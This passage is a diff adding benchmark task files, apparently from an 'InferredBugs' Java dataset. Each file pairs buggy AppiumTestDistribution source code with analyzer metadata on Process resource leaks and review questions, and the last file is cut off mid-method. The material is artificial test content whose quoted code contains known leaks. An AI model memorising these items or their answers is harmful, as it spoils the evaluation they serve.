+                        Thread.sleep(1000);
+                    } else {
+                        android = "flick video -a " + command + " -p android -u " + device_udid;
+                        runCommandThruProcess(android);
+                    }
+                } catch (IOException e) {
+                    e.printStackTrace();
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                }
+            } else {
+                if (androidDeviceConfiguration.checkIfRecordable(device_udid)
+                    && !androidDeviceConfiguration.getDeviceManufacturer(device_udid)
+                    .equals("Genymotion")) {
+                    stopRecording();
+                    System.out.println(
+                        "Destroying the process::" + screenRecord.exitValue() + screenRecord
+                            .isAlive());
+                    androidDeviceConfiguration
+                        .pullVideoFromDevice(device_udid, methodName, videoLocationAndroid);
+                    Thread.sleep(5000);
+                } else {
+                    android = "flick video -a " + command + " -p android -o " + videoLocationAndroid
+                        + " -n " + videoFileName + " -u " + device_udid + " --trace";
+                    runCommandThruProcess(android);
+                }
+            }
+        } else {
+            String videoLocationIOS =
+                videoPath + "/target/screenshot/iOS/" + device_udid.replaceAll("\\W", "_") + "/"
+                    + className + "/" + methodName;
+            fileDirectoryCheck(videoLocationIOS);
+            if (command.equals("start")) {
+                ios = "flick video -a " + command + " -p ios -u " + device_udid;
+            } else {
+                ios = "flick video -a " + command + " -p ios -o " + videoLocationIOS + " -n "
+                    + videoFileName + " -u " + device_udid;
+            }
+
+            System.out.println(ios);
+            try {
+                runCommand(ios);
+                Thread.sleep(5000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    public void fileDirectoryCheck(String folderPath) {
+        File f = new File(folderPath);
+        f.mkdirs();
+    }
+
+    public int getPid(Process process) {
+        try {
+            Class<?> cProcessImpl = process.getClass();
+            Field fPid = cProcessImpl.getDeclaredField("pid");
+            if (!fPid.isAccessible()) {
+                fPid.setAccessible(true);
+            }
+            return fPid.getInt(process);
+        } catch (Exception e) {
+            return -1;
+        }
+    }
+
+    public void stopRecording() throws IOException {
+        Integer processId = androidScreenRecordProcess.get(Thread.currentThread().getId());
+        if (processId != -1) {
+            String process = "pgrep -P " + processId;
+            System.out.println(process);
+            Process p2 = Runtime.getRuntime().exec(process);
+            BufferedReader r = new BufferedReader(new InputStreamReader(p2.getInputStream()));
+            String command = "kill -s SIGTSTP " + processId;
+            System.out.println("Stopping Video Recording");
+            System.out.println("******************" + command);
+            Process killProcess = Runtime.getRuntime().exec(command);
+            try {
+                killProcess.waitFor();
+                Thread.sleep(5000);
+                System.out.println(
+                    "Killed video recording with exit code :" + killProcess.exitValue()
+                        + processId);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `killProcess` by call to `exec(...)` at line 152 is not released after line 157.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Flick.stopRecording()
+
+### Procedure Id:
+com.video.recorder.Flick.stopRecording():void.500f14bd2995955832121d47433604f8
+
+### File:
+src/main/java/com/video/recorder/Flick.java
+
+### Key:
+Flick.java|stopRecording|RESOURCE_LEAK
+
+### Node Key:
+3677875e6aead27ee1320f16c80d8b0f
+
+### Hash:
+8354d7f4fd1330e3eb4c2aa2ac1108db
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10448/instruction.md b/inferredbugs-10448/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0bbc335fdc6d9ba75e7d23cbfc82241e6b0f00bb
--- /dev/null
+++ b/inferredbugs-10448/instruction.md
@@ -0,0 +1,272 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.ios;
+
+import com.appium.manager.AvailabelPorts;
+import com.appium.utils.CommandPrompt;
+
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+
+public class IOSDeviceConfiguration {
+	public ArrayList<String> deviceUDIDiOS = new ArrayList<String>();
+	CommandPrompt commandPrompt = new CommandPrompt();
+	AvailabelPorts ap = new AvailabelPorts();
+	public HashMap<String, String> deviceMap = new HashMap<String, String>();
+	Map<String, String> devices = new HashMap<>();
+	public Process p;
+	String getWebKitProxyPortToBeStarted;
+	HashMap appiumServerProcess = new HashMap();
+
+	public void checkIfiDeviceApiIsInstalled() throws InterruptedException, IOException {
+		boolean checkMobileDevice = commandPrompt.runCommand("brew list").contains("ideviceinstaller");
+		if (checkMobileDevice) {
+			System.out.println("iDeviceInstaller already exists");
+		} else {
+			System.out.println("Brewing iDeviceInstaller API....");
+			commandPrompt.runCommand("brew install ideviceinstaller");
+		}
+
+	}
+
+	public ArrayList<String> getIOSUDID() {
+		try {
+			String getIOSDeviceID = commandPrompt.runCommand("idevice_id --list");
+			if(getIOSDeviceID == null || getIOSDeviceID.equalsIgnoreCase("") || getIOSDeviceID.isEmpty()){
+				return null;
+			}else{
+				String[] lines = getIOSDeviceID.split("\n");
+				for (int i = 0; i < lines.length; i++) {
+					lines[i] = lines[i].replaceAll("\\s+", "");
+					deviceUDIDiOS.add(lines[i]);
+				}
+				return deviceUDIDiOS;
+			}
+		} catch (InterruptedException | IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public Map<String,String> getIOSUDIDHash() {
+		try {
+			String getIOSDeviceID = commandPrompt.runCommand("idevice_id --list");
+			if(getIOSDeviceID == null || getIOSDeviceID.equalsIgnoreCase("") || getIOSDeviceID.isEmpty()){
+				return null;
+			}else{
+				String[] lines = getIOSDeviceID.split("\n");
+				for (int i = 0; i < lines.length; i++) {
+					lines[i] = lines[i].replaceAll("\\s+", "");
+					devices.put("deviceID" + i,lines[i]);
+				}
+				return devices;
+			}
+		} catch (InterruptedException | IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	/**
+	 * 
+	 * @param UDID
+	 *            - Device Serial ID
+	 * @param appPath
+	 *            - Path of the .ipa file
+	 * @throws InterruptedException
+	 * @throws IOException
+	 */
+	public void installApp(String UDID, String appPath) throws InterruptedException, IOException {
+		System.out.println("Installing App on device********" + UDID);
+		commandPrompt.runCommand("ideviceinstaller --udid " + UDID + " --install " + appPath);
+	}
+
+	/**
+	 * 
+	 * @param UDID
+	 *            - Device Serial ID
+	 * @param bundleID
+	 *            - Bundle ID of the .ipa file
+	 * @throws InterruptedException
+	 * @throws IOException
+	 */
+	public void unInstallApp(String UDID, String bundleID) throws InterruptedException, IOException {
+		System.out.println("Uninstalling App on device*******" + UDID);
+		System.out.println("ideviceinstaller --udid " + UDID + " -U " + bundleID);
+		commandPrompt.runCommand("ideviceinstaller --udid " + UDID + " -U " + bundleID);
+	}
+
+	/**
+	 * 
+	 * @param bundleID
+	 * @return
+	 * @throws InterruptedException
+	 * @throws IOException
+	 */
+	public boolean checkIfAppIsInstalled(String bundleID) throws InterruptedException, IOException {
+		boolean appAlreadyExists = commandPrompt.runCommand("ideviceinstaller --list-apps").contains(bundleID);
+		return appAlreadyExists;
+	}
+
+	/**
+	 * 
+	 * @throws InterruptedException
+	 * @throws IOException
+	 *             Need to fix bug not fetching the version and product type for
+	 *             report category
+	 */
+
+	public String getIOSDeviceProductTypeAndVersion(String udid) throws InterruptedException, IOException {
+		System.out.println("ideviceinfo --udid " + udid + " | grep ProductType");
+		System.out.println("ideviceinfo --udid " + udid + " | grep ProductVersion");
+		String productType = commandPrompt.runCommand("ideviceinfo --udid " + udid);
+		System.out.println(productType);
+		String version = commandPrompt.runCommand("ideviceinfo --udid " + udid);
+		System.out.println(version);
+		System.out.println(productType.concat(version));
+		return productType.concat(version);
+	}
+
+	public String getDeviceName(String udid) throws InterruptedException, IOException {
+		String deviceName = commandPrompt.runCommand("idevicename --udid " + udid).replace("\\W","_");
+		return deviceName;
+	}
+	
+	public boolean checkiOSDevice(String UDID) throws Exception{
+		try{
+			if(commandPrompt.runCommand("idevice_id -l").contains(UDID)){
+				return true;
+			}else{
+				return false;
+			}
+		}catch(Exception e){
+			e.printStackTrace();
+			return false;
+		}
+	}
+
+	public HashMap<String, String> setIOSWebKitProxyPorts() throws Exception {
+		try {
+			int webKitProxyPort = ap.getPort();
+			String getIOSDeviceID = commandPrompt.runCommand("idevice_id --list");
+			String[] lines = getIOSDeviceID.split("\n");
+			for (int i = 0; i < lines.length; i++) {
+				lines[i] = lines[i].replaceAll("\\s+", "");
+				deviceMap.put(lines[i], Integer.toString(webKitProxyPort));
+			}
+		} catch (InterruptedException | IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		return deviceMap;
+	}
+
+	public void startIOSWebKit(String udid) throws IOException {
+		getWebKitProxyPortToBeStarted = deviceMap.get(udid);
+		p = Runtime.getRuntime()
+				.exec("ios_webkit_debug_proxy -c " + udid + ":" + getWebKitProxyPortToBeStarted + " -d");
+		System.out.println("WebKit Proxy is started on device " + udid + " and with port number "
+				+ getWebKitProxyPortToBeStarted);
+		//Add the Process ID to hashMap, which would be needed to kill IOSwebProxywhen required
+		appiumServerProcess.put(Thread.currentThread().getId(),getPid(p));
+	}
+
+	public int getPid(Process process) {
+
+		try {
+			Class<?> cProcessImpl = process.getClass();
+			Field fPid = cProcessImpl.getDeclaredField("pid");
+			if (!fPid.isAccessible()) {
+				fPid.setAccessible(true);
+			}
+			return fPid.getInt(process);
+		} catch (Exception e) {
+			return -1;
+		}
+	}
+
+	public void destroyIOSWebKitProxy() throws IOException, InterruptedException {
+		if (appiumServerProcess.get(Thread.currentThread().getId()) != "-1") {
+			String command = "kill -9 " + appiumServerProcess.get(Thread.currentThread().getId());
+			System.out.println("******************" + command);
+			Runtime.getRuntime().exec(command);
+		}
+
+
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `com.appium.utils.CommandPrompt.p` by call to `runCommand(...)` at line 123 is not released after line 125.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String IOSDeviceConfiguration.getIOSDeviceProductTypeAndVersion(String)
+
+### Procedure Id:
+com.appium.ios.IOSDeviceConfiguration.getIOSDeviceProductTypeAndVersion(java.lang.String):java.lang..1c350df215ae985b5c7090f19230d036
+
+### File:
+src/main/java/com/appium/ios/IOSDeviceConfiguration.java
+
+### Key:
+IOSDeviceConfiguration.java|getIOSDeviceProductTypeAndVersion|RESOURCE_LEAK
+
+### Node Key:
+242e364aaca2e12f140710eabae381f2
+
+### Hash:
+8c929e7b0cbdee4c63d9e58be575a866
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10449/instruction.md b/inferredbugs-10449/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a6487db1b5a17b05a6812e45c87599db5213502d
--- /dev/null
+++ b/inferredbugs-10449/instruction.md
@@ -0,0 +1,694 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.manager;
+
+import com.annotation.values.SkipIf;
+import com.appium.ios.IOSDeviceConfiguration;
+import com.appium.utils.ImageUtils;
+import com.relevantcodes.extentreports.ExtentTest;
+import com.relevantcodes.extentreports.LogStatus;
+import com.report.factory.ExtentManager;
+import com.report.factory.ExtentTestManager;
+import io.appium.java_client.AppiumDriver;
+import io.appium.java_client.MobileElement;
+import io.appium.java_client.android.AndroidDriver;
+import io.appium.java_client.ios.IOSDriver;
+import io.appium.java_client.remote.IOSMobileCapabilityType;
+import io.appium.java_client.remote.MobileCapabilityType;
+import io.appium.java_client.service.local.AppiumServiceBuilder;
+import org.apache.commons.io.FileUtils;
+import org.im4java.core.IM4JavaException;
+import org.openqa.selenium.By;
+import org.openqa.selenium.OutputType;
+import org.openqa.selenium.TakesScreenshot;
+import org.openqa.selenium.logging.LogEntry;
+import org.openqa.selenium.remote.DesiredCapabilities;
+import org.openqa.selenium.support.ui.ExpectedConditions;
+import org.openqa.selenium.support.ui.WebDriverWait;
+import org.testng.ITestListener;
+import org.testng.ITestResult;
+import org.testng.SkipException;
+import org.testng.TestListenerAdapter;
+
+import java.awt.*;
+import java.io.*;
+import java.net.URL;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.time.LocalDateTime;
+import java.time.format.DateTimeFormatter;
+import java.time.temporal.ChronoUnit;
+import java.util.*;
+import java.util.List;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.logging.Level;
+
+
+public class AppiumParallelTest extends TestListenerAdapter implements ITestListener {
+    public AppiumDriver<MobileElement> driver;
+    public AppiumManager appiumMan = new AppiumManager();
+    public String device_udid;
+    public List<LogEntry> logEntries;
+    public File logFile;
+    public PrintWriter log_file_writer;
+    public DesiredCapabilities capabilities = new DesiredCapabilities();
+    public String category = null;
+    public ExtentTest parent;
+    public ExtentTest child;
+    public String deviceModel;
+    public File scrFile = null;
+    String screenShotNameWithTimeStamp;
+
+    private Map<Long, ExtentTest> parentContext = new HashMap<Long, ExtentTest>();
+    private static ArrayList<String> devices = new ArrayList<String>();
+    public static Properties prop = new Properties();
+    public static IOSDeviceConfiguration iosDevice = new IOSDeviceConfiguration();
+    public static AndroidDeviceConfiguration androidDevice = new AndroidDeviceConfiguration();
+    public static ConcurrentHashMap<String, Boolean> deviceMapping =
+        new ConcurrentHashMap<String, Boolean>();
+    public ImageUtils imageUtils = new ImageUtils();
+
+    static {
+        try {
+            prop.load(new FileInputStream("config.properties"));
+            if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+                if (iosDevice.getIOSUDID() != null) {
+                    System.out.println("Adding iOS devices");
+                    devices.addAll(iosDevice.getIOSUDID());
+                }
+                if (androidDevice.getDeviceSerial() != null) {
+                    System.out.println("Adding Android devices");
+                    devices.addAll(androidDevice.getDeviceSerial());
+                }
+            } else {
+                if (androidDevice.getDeviceSerial() != null) {
+                    System.out.println("Adding Android devices");
+                    devices.addAll(androidDevice.getDeviceSerial());
+                }
+            }
+            for (String device : devices) {
+                deviceMapping.put(device, true);
+            }
+            System.out.println(deviceMapping);
+        } catch (IOException e) {
+            e.printStackTrace();
+            System.out.println("Failed to initialize framework");
+        } catch (Exception e) {
+            e.printStackTrace();
+            System.out.println("Failed to initialize framework");
+        }
+    }
+
+    public static synchronized String getNextAvailableDeviceId() {
+        ConcurrentHashMap.KeySetView<String, Boolean> devices = deviceMapping.keySet();
+        int i = 0;
+        for (String device : devices) {
+            Thread t = Thread.currentThread();
+            t.setName("Thread_" + i);
+            System.out.println("Parallel Thread is::" + t.getName());
+            i++;
+            if (deviceMapping.get(device) == true) {
+                deviceMapping.put(device, false);
+                return device;
+            }
+        }
+        return null;
+    }
+
+
+    public static void freeDevice(String deviceId) {
+        deviceMapping.put(deviceId, true);
+    }
+
+    public synchronized AppiumServiceBuilder startAppiumServer(String methodName) throws Exception {
+        device_udid = getNextAvailableDeviceId();
+        if (device_udid == null) {
+            System.out.println("No devices are free to run test or Failed to run test");
+            return null;
+        }
+        if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+            if (iosDevice.checkiOSDevice(device_udid)) {
+                iosDevice.setIOSWebKitProxyPorts(device_udid);
+                category = iosDevice.getDeviceName(device_udid).replace(" ", "_");
+            } else if (!iosDevice.checkiOSDevice(device_udid)) {
+                category = androidDevice.getDeviceModel(device_udid);
+                System.out.println(category);
+            }
+        } else {
+            category = androidDevice.getDeviceModel(device_udid);
+        }
+
+        if (prop.getProperty("FRAMEWORK").equalsIgnoreCase("testng")) {
+            parent = ExtentTestManager.startTest(methodName, "Mobile Appium Test",
+                category + "_" + device_udid.replaceAll("\\W", "_"));
+            parentContext.put(Thread.currentThread().getId(), parent);
+            ExtentTestManager.getTest().log(LogStatus.INFO, "AppiumServerLogs",
+                "<a href=" + System.getProperty("user.dir") + "/target/appiumlogs/" + device_udid
+                    .replaceAll("\\W", "_") + "__" + methodName + ".txt" + ">Logs</a>");
+        }
+        if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+            if (iosDevice.checkiOSDevice(device_udid)) {
+                String webKitPort = iosDevice.startIOSWebKit(device_udid);
+                return appiumMan.appiumServerForIOS(device_udid, methodName, webKitPort);
+            } else if (!iosDevice.checkiOSDevice(device_udid)) {
+                return appiumMan.appiumServerForAndroid(device_udid, methodName);
+            }
+        } else {
+            return appiumMan.appiumServerForAndroid(device_udid, methodName);
+        }
+        return null;
+    }
+
+
+    public synchronized AppiumDriver<MobileElement> startAppiumServerInParallel(String methodName)
+        throws Exception {
+        ExtentTestManager.loadConfig();
+        if (prop.getProperty("FRAMEWORK").equalsIgnoreCase("testng")) {
+            child = ExtentTestManager.startTest(methodName)
+                .assignCategory(category + "_" + device_udid.replaceAll("\\W", "_"));
+        }
+        Thread.sleep(3000);
+        if (prop.getProperty("APP_TYPE").equalsIgnoreCase("web")) {
+            driver = new AndroidDriver<>(appiumMan.getAppiumUrl(), androidWeb());
+        } else {
+            if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+                if (iosDevice.checkiOSDevice(device_udid)) {
+                    driver = new IOSDriver<>(appiumMan.getAppiumUrl(), iosNative());
+                } else if (!iosDevice.checkiOSDevice(device_udid)) {
+                    driver = new AndroidDriver<>(appiumMan.getAppiumUrl(), androidNative());
+                }
+            } else {
+                driver = new AndroidDriver<>(appiumMan.getAppiumUrl(), androidNative());
+            }
+        }
+
+        return driver;
+    }
+
+    public void startLogResults(String methodName) throws FileNotFoundException {
+        if (driver.toString().split("\\(")[0].trim().equals("AndroidDriver:  on LINUX")) {
+            System.out.println("Starting ADB logs" + device_udid);
+            logEntries = driver.manage().logs().get("logcat").filter(Level.ALL);
+            logFile = new File(System.getProperty("user.dir") + "/target/adblogs/" + device_udid
+                .replaceAll("\\W", "_") + "__" + methodName + ".txt");
+            log_file_writer = new PrintWriter(logFile);
+        }
+    }
+
+    public void endLogTestResults(ITestResult result) throws IOException, InterruptedException {
+
+        final String classNameCur = result.getName().split(" ")[2].substring(1);
+        final Package[] packages = Package.getPackages();
+        String className = null;
+        for (final Package p : packages) {
+            final String pack = p.getName();
+            final String tentative = pack + "." + classNameCur;
+            try {
+                Class.forName(tentative);
+            } catch (final ClassNotFoundException e) {
+                continue;
+            }
+            className = tentative;
+            break;
+        }
+
+
+        if (result.isSuccess()) {
+            ExtentTestManager.getTest()
+                .log(LogStatus.PASS, result.getMethod().getMethodName(), "Pass");
+            if (driver.toString().split("\\(")[0].trim().equals("AndroidDriver:  on LINUX")) {
+                log_file_writer.println(logEntries);
+                log_file_writer.flush();
+                ExtentTestManager.getTest().log(LogStatus.INFO, result.getMethod().getMethodName(),
+                    "ADBLogs:: <a href=" + System.getProperty("user.dir") + "/target/adblogs/"
+                        + device_udid.replaceAll("\\W", "_") + "__" + result.getMethod()
+                        .getMethodName() + ".txt" + ">AdbLogs</a>");
+                System.out.println(driver.getSessionId() + ": Saving device log - Done.");
+            }
+
+        }
+        if (result.getStatus() == ITestResult.FAILURE) {
+            ExtentTestManager.getTest()
+                .log(LogStatus.FAIL, result.getMethod().getMethodName(), result.getThrowable());
+            if (driver.toString().split(":")[0].trim().equals("AndroidDriver")) {
+                System.out.println("im in");
+                deviceModel = androidDevice.getDeviceModel(device_udid);
+                //captureScreenshot(result.getMethod().getMethodName(), "android", className);
+                captureScreenShot(result.getMethod().getMethodName(), result.getStatus(),
+                    result.getTestClass().getName());
+            } else if (driver.toString().split(":")[0].trim().equals("IOSDriver")) {
+                deviceModel = iosDevice.getIOSDeviceProductTypeAndVersion(device_udid);
+                captureScreenShot(result.getMethod().getMethodName(), result.getStatus(),
+                    result.getTestClass().getName());
+            }
+
+            if (driver.toString().split(":")[0].trim().equals("AndroidDriver")) {
+                File framedImageAndroid = new File(
+                    System.getProperty("user.dir") + "/target/screenshot/android/" + device_udid
+                        .replaceAll("\\W", "_") + "/" + className + "/" + result.getMethod()
+                        .getMethodName() + "/" + screenShotNameWithTimeStamp + deviceModel
+                        + "_failed_" + result.getMethod().getMethodName() + "_framed.png");
+                if (framedImageAndroid.exists()) {
+                    ExtentTestManager.getTest()
+                        .log(LogStatus.INFO, result.getMethod().getMethodName(),
+                            "Snapshot below: " + ExtentTestManager.getTest().addScreenCapture(
+                                System.getProperty("user.dir") + "/target/screenshot/android/"
+                                    + device_udid.replaceAll("\\W", "_") + "/" + className + "/"
+                                    + result.getMethod().getMethodName() + "/"
+                                    + screenShotNameWithTimeStamp + deviceModel + "_failed_"
+                                    + result.getMethod().getMethodName() + "_framed.png"));
+                } else {
+                    ExtentTestManager.getTest()
+                        .log(LogStatus.INFO, result.getMethod().getMethodName(),
+                            "Snapshot below: " + ExtentTestManager.getTest().addScreenCapture(
+                                System.getProperty("user.dir") + "/target/screenshot/android/"
+                                    + device_udid.replaceAll("\\W", "_") + "/" + className + "/"
+                                    + result.getMethod().getMethodName() + "/"
+                                    + screenShotNameWithTimeStamp + deviceModel + "_" + result
+                                    .getMethod().getMethodName() + "_failed.png"));
+                }
+
+
+            }
+            if (driver.toString().split(":")[0].trim().equals("IOSDriver")) {
+                File framedImageIOS = new File(
+                    System.getProperty("user.dir") + "/target/screenshot/iOS/" + device_udid
+                        .replaceAll("\\W", "_") + "/" + className + "/" + result.getMethod()
+                        .getMethodName() + "/" + screenShotNameWithTimeStamp + deviceModel
+                        + "_failed_" + result.getMethod().getMethodName() + "_framed.png");
+                if (framedImageIOS.exists()) {
+                    ExtentTestManager.getTest()
+                        .log(LogStatus.INFO, result.getMethod().getMethodName(),
+                            "Snapshot below: " + ExtentTestManager.getTest().addScreenCapture(
+                                System.getProperty("user.dir") + "/target/screenshot/iOS/"
+                                    + device_udid.replaceAll("\\W", "_") + "/" + className + "/"
+                                    + result.getMethod().getMethodName() + "/"
+                                    + screenShotNameWithTimeStamp + deviceModel + "_failed_"
+                                    + result.getMethod().getMethodName() + "_framed.png"));
+                } else {
+                    ExtentTestManager.getTest()
+                        .log(LogStatus.INFO, result.getMethod().getMethodName(),
+                            "Snapshot below: " + ExtentTestManager.getTest().addScreenCapture(
+                                System.getProperty("user.dir") + "/target/screenshot/iOS/"
+                                    + device_udid.replaceAll("\\W", "_") + "/" + className + "/"
+                                    + result.getMethod().getMethodName() + "/"
+                                    + screenShotNameWithTimeStamp + deviceModel + "_" + result
+                                    .getMethod().getMethodName() + "_failed.png"));
+                }
+
+            }
+
+
+            if (driver.toString().split("\\(")[0].trim().equals("AndroidDriver:  on LINUX")) {
+                log_file_writer.println(logEntries);
+                log_file_writer.flush();
+                ExtentTestManager.getTest().log(LogStatus.INFO, result.getMethod().getMethodName(),
+                    "ADBLogs:: <a href=" + System.getProperty("user.dir") + "/target/adblogs/"
+                        + device_udid.replaceAll("\\W", "_") + "__" + result.getMethod()
+                        .getMethodName() + ".txt" + ">AdbLogs</a>");
+                System.out.println(driver.getSessionId() + ": Saving device log - Done.");
+            }
+
+        }
+        if (result.getStatus() == ITestResult.SKIP) {
+            ExtentTestManager.getTest().log(LogStatus.SKIP, "Test skipped");
+        }
+        parentContext.get(Thread.currentThread().getId()).appendChild(child);
+        ExtentManager.getInstance().flush();
+    }
+
+    public synchronized void killAppiumServer() throws InterruptedException, IOException {
+        System.out.println(
+            "**************ClosingAppiumSession****************" + Thread.currentThread().getId());
+        if (prop.getProperty("FRAMEWORK").equalsIgnoreCase("testng")) {
+            ExtentManager.getInstance().endTest(parent);
+            ExtentManager.getInstance().flush();
+        }
+        appiumMan.destroyAppiumNode();
+        if (driver.toString().split(":")[0].trim().equals("IOSDriver")) {
+            iosDevice.destroyIOSWebKitProxy();
+        }
+        freeDevice(device_udid);
+    }
+
+    protected String getStackTrace(Throwable t) {
+        StringWriter sw = new StringWriter();
+        PrintWriter pw = new PrintWriter(sw);
+        t.printStackTrace(pw);
+        return sw.toString();
+    }
+
+    public void waitForElement(By id, int time) {
+        WebDriverWait wait = new WebDriverWait(driver, 20);
+        wait.until(ExpectedConditions.elementToBeClickable((id)));
+    }
+
+    public void resetAppData() throws InterruptedException, IOException {
+        androidDevice.clearAppData(device_udid, prop.getProperty("APP_PACKAGE"));
+    }
+
+    public void closeOpenApp() throws InterruptedException, IOException {
+        androidDevice.closeRunningApp(device_udid, prop.getProperty("APP_PACKAGE"));
+    }
+
+    public void removeApkFromDevice(String app_package) throws Exception {
+        androidDevice.removeApkFromDevices(device_udid, app_package);
+    }
+
+
+    public synchronized DesiredCapabilities androidNative() {
+        System.out.println("Setting Android Desired Capabilities:");
+        DesiredCapabilities androidCapabilities = new DesiredCapabilities();
+        androidCapabilities.setCapability(MobileCapabilityType.DEVICE_NAME, "Android");
+        androidCapabilities.setCapability(MobileCapabilityType.PLATFORM_VERSION, "5.X");
+        androidCapabilities.setCapability("browserName", "");
+        int android_api = Integer.parseInt(androidDevice.deviceOS(device_udid));
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        System.out.println("Android API Level::" + android_api);
+        if (android_api <= 16) {
+            androidCapabilities.setCapability(MobileCapabilityType.AUTOMATION_NAME, "Selendroid");
+        }
+        androidCapabilities
+            .setCapability(MobileCapabilityType.APP, prop.getProperty("ANDROID_APP_PATH"));
+        androidCapabilities.setCapability(MobileCapabilityType.UDID, device_udid);
+        return androidCapabilities;
+    }
+
+    public synchronized DesiredCapabilities androidWeb() {
+        DesiredCapabilities androidWebCapabilities = new DesiredCapabilities();
+        androidWebCapabilities.setCapability(MobileCapabilityType.DEVICE_NAME, "Android");
+        androidWebCapabilities.setCapability(MobileCapabilityType.PLATFORM_VERSION, "5.0.X");
+        // If you want the tests on real device, make sure chrome browser is
+        // installed
+        androidWebCapabilities
+            .setCapability(MobileCapabilityType.BROWSER_NAME, prop.getProperty("BROWSER_TYPE"));
+        androidWebCapabilities.setCapability(MobileCapabilityType.TAKES_SCREENSHOT, true);
+        return androidWebCapabilities;
+    }
+
+    public synchronized DesiredCapabilities iosNative() {
+        DesiredCapabilities iOSCapabilities = new DesiredCapabilities();
+        System.out.println("Setting iOS Desired Capabilities:");
+        iOSCapabilities.setCapability(MobileCapabilityType.PLATFORM_VERSION, "9.0");
+        iOSCapabilities.setCapability(MobileCapabilityType.APP, prop.getProperty("IOS_APP_PATH"));
+        iOSCapabilities
+            .setCapability(IOSMobileCapabilityType.BUNDLE_ID, prop.getProperty("BUNDLE_ID"));
+        iOSCapabilities.setCapability(IOSMobileCapabilityType.AUTO_ACCEPT_ALERTS, true);
+        iOSCapabilities.setCapability(MobileCapabilityType.DEVICE_NAME, "iPhone");
+        iOSCapabilities.setCapability(MobileCapabilityType.UDID, device_udid);
+        return iOSCapabilities;
+    }
+
+    public void deleteAppIOS(String bundleID) throws InterruptedException, IOException {
+        iosDevice.unInstallApp(device_udid, bundleID);
+    }
+
+    public void installAppIOS(String appPath) throws InterruptedException, IOException {
+        iosDevice.installApp(device_udid, appPath);
+    }
+
+    public Boolean checkAppIsInstalled(String bundleID) throws InterruptedException, IOException {
+        return iosDevice.checkIfAppIsInstalled(bundleID);
+    }
+
+
+    public AppiumDriver<MobileElement> getDriver() {
+        return driver;
+    }
+
+    public void onTestStart(ITestResult result) {
+        Object currentClass = result.getInstance();
+        AppiumDriver<MobileElement> driver = ((AppiumParallelTest) currentClass).getDriver();
+        SkipIf skip =
+            result.getMethod().getConstructorOrMethod().getMethod().getAnnotation(SkipIf.class);
+        if (skip != null) {
+            String info = skip.platform();
+            if (driver.toString().split("\\(")[0].trim().toString().contains(info)) {
+                System.out.println("skipping test");
+                throw new SkipException("Skipped because property was set to :::" + info);
+            }
+        }
+    }
+
+    public static Image getImage(final String pathAndFileName) {
+        final URL url = Thread.currentThread().getContextClassLoader().getResource(pathAndFileName);
+        return Toolkit.getDefaultToolkit().getImage(url);
+    }
+
+    public void screenShotAndFrame(String methodName, String device, String className) {
+        try {
+            File framePath =
+                new File(System.getProperty("user.dir") + "/src/test/resources/frames/");
+            File[] files1 = framePath.listFiles();
+            if (framePath.exists()) {
+                for (int i = 0; i < files1.length; i++) {
+                    if (files1[i].isFile()) { //this line weeds out other directories/folders
+                        Path p = Paths.get(files1[i].toString());
+                        String fileName = p.getFileName().toString().toLowerCase();
+
+                        if (deviceModel.toString().toLowerCase()
